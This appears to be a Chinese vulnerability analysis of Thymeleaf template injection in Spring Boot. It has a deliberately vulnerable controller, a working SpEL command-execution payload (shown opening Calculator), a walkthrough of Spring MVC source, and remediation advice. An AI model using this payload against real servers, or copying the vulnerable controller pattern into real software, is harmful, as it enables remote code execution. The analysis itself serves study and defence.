Thymeleaf模板注入详细分析

admin 2024年11月11日22:58:46评论3 views字数 12565阅读41分53秒阅读模式

Thymeleaf的SSTI

介绍

Thymeleaf 是一个流行的 Java Web 视图模板引擎,可以方便地将数据和 HTML 模板结合起来生成网页。但是在使用 Thymeleaf 的过程中,如果没有严格控制用户输入,可能会发生模板注入漏洞。

环境搭建

Thymeleaf模板注入详细分析

添加Java包和resources包

Thymeleaf模板注入详细分析

pom.xml

<!-- 继承父包 -->
  <parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.3.5.RELEASE</version>
  </parent>

<dependencies>
    <!-- web启动jar -->
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency>
      <groupId>org.projectlombok</groupId>
      <artifactId>lombok</artifactId>
      <version>1.18.6</version>
      <scope>provided</scope>
    </dependency>

   <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-thymeleaf</artifactId>
  </dependency>
</dependencies>

application.yml,放在resources(原本没有,需要创建)

server:
  port: 8090
spring:
  thymeleaf:
    prefix: classpath:/templates/
    suffix: .html
    mode: HTML5
    encoding: UTF-8

启动类(放在com.garck3h下)

package com.garck3h;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

/**
 * Created by IntelliJ IDEA.
 *
 * @Author Garck3h
 * @Date 2023/5/11 3:45 下午
 * Life is endless, and there is no end to it.
 **/

@SpringBootApplication
public class Application {
    public static void main(String[] args) {
        SpringApplication.run(Application.class,args);
    }
}


Handler

package com.garck3h.controller;

import org.springframework.cache.annotation.Cacheable;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

/**
 * Created by IntelliJ IDEA.
 *
 * @Author Garck3h
 * @Date 2023/5/12 3:39 下午
 * Life is endless, and there is no end to it.
 **/

@Controller
@RequestMapping("/index1")
public class ThyController {
    @GetMapping("/index2")
    public String index(@RequestParam String index3){
        System.out.println("index...");
        return index;
    }
}

正常访问URL,出现了500报错,因为此时我没有对应的模板文件才会报错,但是这个不影响漏洞的利用

Thymeleaf模板注入详细分析

复现

payload

192.168.163.154:8090/index1/index2?index3=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22).getInputStream()).next()%7d__::.x
Thymeleaf模板注入详细分析

分析

先讲一下SpringMVC的一个工作流程

  1. 客户端发起 HTTP 请求,请求会到达 DispatcherServlet。
  2. DispatcherServlet 接收到请求后会通过 HandlerMapping 确定当前请求需要调用哪个 Controller 对象,默认情况下使用的是 RequestMappingHandlerMapping。
  3. HandlerAdapter 负责将请求与 Controller 方法进行绑定,并处理方法的参数,准备请求数据。
  4. Controller 执行相应的业务逻辑,创建并绑定 Model 和 View,并返回 ModelAndView。
  5. ViewResolver 根据 View 的指定格式解析目标视图为完整的视图,并返回给 DispatcherServlet。
  6. DispatcherServlet 发送 Model 数据给 View 以便完成渲染,生成最终的响应结果。
  7. 最终的响应结果返回给客户端浏览器,已经完成了整个 Spring MVC 的请求响应过程。

在Spring MVC框架中是由DispatcherServlet作为前端控制器(Front Controller)来控制请求和响应、路由请求和处理 HTTP 请求的。

org.springframework.web.servlet.DispatcherServlet

package com.garck3h.controller;

import org.springframework.web.context.request.ServletWebRequest;
import org.springframework.web.context.request.async.WebAsyncManager;
import org.springframework.web.context.request.async.WebAsyncUtils;
import org.springframework.web.servlet.HandlerAdapter;
import org.springframework.web.servlet.HandlerExecutionChain;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.util.NestedServletException;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/**
 * Created by IntelliJ IDEA.
 *
 * @Author Garck3h
 * @Date 2023/5/18 4:19 下午
 * Life is endless, and there is no end to it.
 **/

public class doDispath {

    protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {

         // 对于multipart类型需要特殊处理
        HttpServletRequest processedRequest = request;
        HandlerExecutionChain mappedHandler = null;
        boolean multipartRequestParsed = false;

        WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);

        try {
            try {
                //定义模型与视图
                ModelAndView mv = null;
                //异常
                Object dispatchException = null;

                try {
                     // 预处理multipart文件上传数据,检查请求是否包含multipart/form-data
                    processedRequest = this.checkMultipart(request);
                    multipartRequestParsed = processedRequest != request;

                    // 获取处理器(通过RequestMapping找到希望匹配的处理器)
                    mappedHandler = this.getHandler(processedRequest);
                    if (mappedHandler == null) {
                        // 如果没有找到合适的Handler,则返回404错误页面
                        this.noHandlerFound(processedRequest, response);
                        return;
                    }
                    // 根据获取的 Handler (处理方法或者对象)获取对应的 HandlerAdapter
                    HandlerAdapter ha = this.getHandlerAdapter(mappedHandler.getHandler());
                    // 获取 Http 请求方法类型,以 GET 上述情况为例
                    String method = request.getMethod();
                    boolean isGet = "GET".equals(method);
                    if (isGet || "HEAD".equals(method)) {
                        // 执行 Last-Modified 头信息验证缓存是否需要更新,判断是否需要返回304
                        long lastModified = ha.getLastModified(request, mappedHandler.getHandler());
                        if ((new ServletWebRequest(request, response)).checkNotModified(lastModified) && isGet) {
                            return;
                        }
                    }

                    // 判断拦截器是否preHandle执行成功,如果有一个没有执行成功,则直接返回404错误页面;同时记录日志
                    if (!mappedHandler.applyPreHandle(processedRequest, response)) {
                        return;
                    }

                    // 调用Handler并获取返回结果(该结果严格意义上只是View和Model的容器)
                    mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
                    // 检查异步任务,并不会立即执行,而是由WebAsyncManager 后期完成调度管理
                    if (asyncManager.isConcurrentHandlingStarted()) {
                        return;
                    }
                        // 对ModelAndView进行预处理
                    this.applyDefaultViewName(processedRequest, mv);

                    //执行Handler的后置处理器
                    mappedHandler.applyPostHandle(processedRequest, response, mv);
                } catch (Exception var20) {
                    dispatchException = var20;
                } catch (Throwable var21) {
                    // 添加try-catch代码块来捕捉所有Throwable类型的异常
                    dispatchException = new NestedServletException("Handler dispatch failed", var21);
                }

                // 利用返回的mv进行页面渲染
                this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException);
            } catch (Exception var22) {
                this.triggerAfterCompletion(processedRequest, response, mappedHandler, var22);
            } catch (Throwable var23) {

                 //对页面渲染完成调用拦截器中的AfterCompletion方法
                this.triggerAfterCompletion(processedRequest, response, mappedHandler, new NestedServletException("Handler processing failed", var23));
            }

        } finally {
            if (asyncManager.isConcurrentHandlingStarted()) {
                if (mappedHandler != null) {
                    mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response);
                }
            } else if (multipartRequestParsed) {
                //清除由多个部分组成的请求使用的所有资源
                this.cleanupMultipart(processedRequest);
            }
        }
    }
}

1.前端控制器拦截用户的请求

我们直接看doDispatch这个方法,首先是和传统的servlet一样传入:HttpServletRequest request, HttpServletResponse response。

然后就是定义一些各种类型的变量,做初始化操作。

Thymeleaf模板注入详细分析

然后来到513行是调用checkMultipart 方法检查是否包含multipart/form-data 编码方式,有的话,就进行进一步的处理。514行将 multipartRequestParsed 变量设置为 true。

Thymeleaf模板注入详细分析

2.处理器映射器执行用户的请求

然后来到515行的getHandler,我们直接进去分析。首先是判断一下handlerMappings是否为空。

Thymeleaf模板注入详细分析

handlerMappings的初始化是在initHandlerMappings中进行的,扫描容器中所有的 HandlerMapping Bean,并将这些 Bean 添加到 handlerMappings 列表中。

Thymeleaf模板注入详细分析

回到getHandler,遍历handlerMappings 列表来查找匹配的处理器(即 Controller),并返回对应的 HandlerExecutionChain 实例。下图可以看到我们的index1的Controller和内置的error Controller

Thymeleaf模板注入详细分析

SpringMVC一共初始化了5个处理器映射器

Thymeleaf模板注入详细分析

遍历拿到了我们的一个Controller和方法名以及返回值的类型(String)

Thymeleaf模板注入详细分析

映射器给我们处理的Handler封装到了一个叫HandlerExecutionChain里面。而在HandlerExecutionChain对象里面有一个handler对象,是HandlerMethod类型的,这就是处理器映射器最终将我们的请求处理成的Handler对象

3.获取处理器适配器HandlerAdpater

回到doDispatch,继续往下走到521行,这里调用了getHandlerAdapter方法。这个步骤是

Thymeleaf模板注入详细分析

我们跟进去到了getHandlerAdapter。这里是对所有适配器进行遍历,查找支持该处理程序的适配器,最终将返回第一个支持该处理程序的适配器。并执行所需操作,例如解析请求参数、调用相应的业务逻辑、生成响应等。

Thymeleaf模板注入详细分析
    // 获取处理器适配器    
    protected HandlerAdapter getHandlerAdapter(Object handler) throws ServletException {
        // 处理器适配器集合不为空
        if (this.handlerAdapters != null) {
            Iterator var2 = this.handlerAdapters.iterator();
            // 遍历处理器适配器集合
            while(var2.hasNext()) {
                HandlerAdapter adapter = (HandlerAdapter)var2.next();
                // 当前适配器是否支持handle处理器的处理
                if (adapter.supports(handler)) {
                // 返回支持的适配器
                    return adapter;
                }
            }
        }
            // 未找到合适的适配器,抛出异常
        throw new ServletException("No adapter for handler [" + handler + "]: The DispatcherServlet configuration needs to include a HandlerAdapter that supports this handler");
    }

SpringMVC为我们初始化了以下4个处理器适配器:

Thymeleaf模板注入详细分析
Thymeleaf模板注入详细分析

回到doDispatch,继续往下走到531行。判断在请求发生之前有没有预处理拦截器。预处理拦截器一般用于身份验证、授权、日志记录等。

Thymeleaf模板注入详细分析

4.处理器适配器对Handler进行处理

继续往下走到535行。从 mappedHandler对象获取handler对象,然后将其与请求(request)对象、响应(response)对象交给适配器(Adapter)进行调用。在适配器中调用处理程序的相应方法,通常是Controller中的某一个方法,并根据业务逻辑生成响应数据。最终结果存储在ModelAndView实例对象(mv)中。

Thymeleaf模板注入详细分析

我们跟进去

Thymeleaf模板注入详细分析

来到了RequestMappingHandlerAdapter类的handleInternal方法。首先是对请求进行检查(checkRequest),接着调用invokeHandlerMethod函数执行处理程序(handlerMethod)的方法,并根据业务逻辑生成响应数据。最后,根据配置条件设置缓存控制(Cache-Control)头部信息并返回ModelAndView实例对象(mav)。

Thymeleaf模板注入详细分析

来到invokeHandlerMethod(487),我们跟进去。前面这些是根据请求参数,生成一个Web数据绑定器工厂(binderFactory)和模型工厂(modelFactory)。

Thymeleaf模板注入详细分析

我们来到552行的invocableMethod.invokeAndHandle。它是用于执行处理程序(handlerMethod)的方法。我们跟进去;首先是调用invokeForRequest方法,该方法是实现@RequestBody注解的功能,将http请求报文解析为我们设置的对象。

Thymeleaf模板注入详细分析

我们跟进去;首先通过getMethodArgumentValues方法获取处理程序所需的参数,如日志所示,代码将请求参数打印到日志中。然后通过doInvoke方法执行接口的具体业务逻辑代码。

Thymeleaf模板注入详细分析

跟进61行的doInvoke,进入到里面。获得被桥接的⽅法(101),开打访问权限(102)

Thymeleaf模板注入详细分析

这里的105行,调用了invoke。通过反射,调⽤ Controller 中响应的⽅法

return KotlinDetector.isSuspendingFunction(method) ? CoroutinesUtils.invokeSuspendingFunction(method, this.getBean(), args) : method.invoke(this.getBean(), args);

最后通过反射进行调用。先是检查调用者对方法的访问权限,并获取需要调用方法的MethodAccessor实例,最后调用MethodAccessor的invoke方法来执行相应的方法。

Thymeleaf模板注入详细分析

最终回到invokeHandlerMethod,进入到了if里面getModelAndView(554)。

Thymeleaf模板注入详细分析

我们跟进去看看;这里是根据mavContainer对象(包含视图名称、数据模型等信息)创建并返回ModelAndView对象

Thymeleaf模板注入详细分析

至此,我们就拿到了mav,也就是ModelAndView

[view="__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a Calculator").getInputStream()).next()}__::.x"; model={}]
Thymeleaf模板注入详细分析

最终回到doDispatch,然后来到540行。

这里调用请求处理器适配器的postHandle()方法,对Web请求在处理完成后做一些额外的工作,比如在模型和视图参数中添加、删除或修改属性值等,以及对响应对象进行操作,比如设置相应头信息、状态码以及重定向等

Thymeleaf模板注入详细分析

5.处理派发结果

SpringMVC通过处理器适配器将Handler处理成ModelAndView了。

下面我们来看到548行

Thymeleaf模板注入详细分析

我们跟进去看看,processDispatchResult方法实现了请求的分发以及结果的处理。在具体工作中,该方法接收HTTP请求和响应对象、当前匹配到的HandlerExecutionChain处理链、可能存在的ModelAndView模型视图对象以及处理过程中可能抛出的异常等参数,然后根据不同情况,调用相应的方法进行处理。

Thymeleaf模板注入详细分析

搜索发现,有一个叫render的方法对mv进行处理,我们跟进去。

Thymeleaf模板注入详细分析

750行获取View视图对象,进去看看。循环遍历初始化好的视图解析器进行解析处理,最终得到一个View视图对象

Thymeleaf模板注入详细分析

回到render;来到770行,我们跟进去看看。

这里调用了renderFragment方法

Thymeleaf模板注入详细分析

继续跟进去renderFragment;在101行,判断viewTemplateName是否包含::如果包含的话进入else分支,进行表达式预处理。

首先是传入configuration 对象作为参数,获取一个标准表达式解析器对象parser;然后是通过在 parser对象上调用 parseExpression() 方法,传入两个参数:当前渲染的页面上下文对象 context 和表示要渲染的 HTML 片段名称的字符串 "~{ + viewTemplateName + }",得到一个 FragmentExpression 对象 fragmentExpression

Thymeleaf模板注入详细分析

此时的viewTemplateName为:

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a Calculator").getInputStream()).next()}__::.x

viewTemplateName中包含::时,会给其加上~{}然后进行解析

Thymeleaf模板注入详细分析

parseExpression(109) 我们跟进去看看

Thymeleaf模板注入详细分析

跟进去preprocess。进行正则提取出__…__之间的东西

Thymeleaf模板注入详细分析

提取得到的

${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a Calculator").getInputStream()).next()}
Thymeleaf模板注入详细分析

然后调用expression.execute(42)

Thymeleaf模板注入详细分析

我们跟进来发现又调用了另一个execute,把this(payload)传进去。

Thymeleaf模板注入详细分析

我们跟进去,一进来就发现第一个if对expression 对象进行类型检测,判断表达式类型是否为 SimpleExpression。这里确实是SimpleExpression,所以调用SimpleExpression.executeSimple进行了执行。

Thymeleaf模板注入详细分析

SimpleExpression.executeSimple执行spel表达,成功弹计算器。

Thymeleaf模板注入详细分析
Thymeleaf模板注入详细分析

总结

  • 这个漏洞的复现,很多工作都是在跟进SpringMvc的一个工作流程。需要对SpringMvc的工作流程了解,和SpringMvc的九大初始化组件了解,才得以进一步追踪污染传播的方法以及整个流程。
  • 在通过render 渲染进行视图渲染的时候,会先检测是否包含“::”,然后进入分支添加上~{}进行解析。解析前进行预处理,即通过正则取出两个横线之间的内容,然后调用标准解析器对其进行解析,匹配到了spel表达式,从而导致了spel表达式命令执行。
Thymeleaf模板注入详细分析

修复方式

  • 升级版本
  • 配置 @ResponseBody 或者 @RestController
这样 spring 框架就不会将其解析为视图名,而是直接返回, 不再调用模板解析。
  • 在返回值前面加上 “redirect:”
这样不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析。
  • 在方法参数中加上 HttpServletResponse 参数
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析。

参考

https://blog.csdn.net/weixin_43263451/article/details/126543803

https://mp.weixin.qq.com/s/u2ooYhAZ0Elbe02PDNQBWw

https://mp.weixin.qq.com/s/2YpBKOzJ8w8m51OUN1XJ0A

原文始发于微信公众号(pentest):Thymeleaf模板注入详细分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日22:58:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Thymeleaf模板注入详细分析https://cn-sec.com/archives/1949512.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息